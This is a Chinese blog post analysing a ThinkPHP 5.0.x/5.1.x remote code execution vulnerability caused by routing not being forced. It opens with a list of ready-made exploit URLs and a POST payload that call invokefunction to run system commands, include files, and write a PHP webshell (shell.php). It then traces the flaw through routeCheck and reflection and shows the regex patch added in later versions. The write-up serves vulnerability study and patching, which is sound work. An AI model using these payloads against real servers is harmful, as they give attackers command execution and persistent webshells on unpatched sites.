Thinkphp 5.0.x 未开启强制路由导致的RCE 漏洞分析

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

文件包含:

http://ip/index.php?s=captcha&m=1

post提交:

_method=__construct&filter[]=think__include_file&get[]=/home/www/thinkphp/public/payload.txt&method=get&server[]=

5.0.x php版本>=5.4

http://ip/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

http://ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://ip/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=内容需要url编码

thinkphp默认没有开启强制路由,而且默认开启路由兼容模式。

那么我们可以用兼容模式来调用控制器,当没有对控制器过滤时,我们可以调用任意的方法来执行!

还是拿 thinkphp5.0.5 来进行分析

payload:index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

命令执行成功!

漏洞分析:

断点跟进,先来到routeCheck方法中获得了路由

然后在里面对路由进行一系列的获取走出routeCheck之后的$dispatch的内容为:

最后进入module方法中进行调用

最后通过反射类进行传参来进行命令的执行

修复:

大于5.0.23、大于5.1.30获取时使用正则匹配校验

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
	throw new HttpException(404, 'controller not exists:' . $controller);
}

参考文章:https://www.cnblogs.com/r00tuser/p/10103329.html
参考文章:https://y4er.com/post/thinkphp5-rce/#5024

posted @ 2020-04-04 14:49  zpchcbd  阅读(1121)  评论(0编辑  收藏  举报